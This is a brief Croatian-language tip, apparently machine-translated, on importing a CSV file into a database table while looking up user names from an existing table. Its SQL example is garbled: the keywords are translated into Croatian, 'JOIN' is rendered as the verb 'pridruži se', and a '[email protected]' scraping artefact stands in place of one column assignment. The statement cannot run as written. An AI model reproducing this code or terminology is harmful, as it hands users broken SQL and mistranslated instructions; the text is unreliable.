Ako trebate popuniti tabelu iz datoteke koristeći postojeću, vjerojatno ste odmah pomislili na korištenje pridruži se. Kod za takvo umetanje podataka izgleda otprilike ovako:
UČITAJTE LOKALNI INFILE PODATAKA "data.csv" U TABELU tabela_1 POLJA ZAVRŠENA SA "\t" LINIJAMA ZAVRŠENA SA "\r\n" (@col1,@col2,@col3,@col4) set [email protected], korisničko ime=(odaberite korisničko ime od korisnika gdje je user_id = @col1);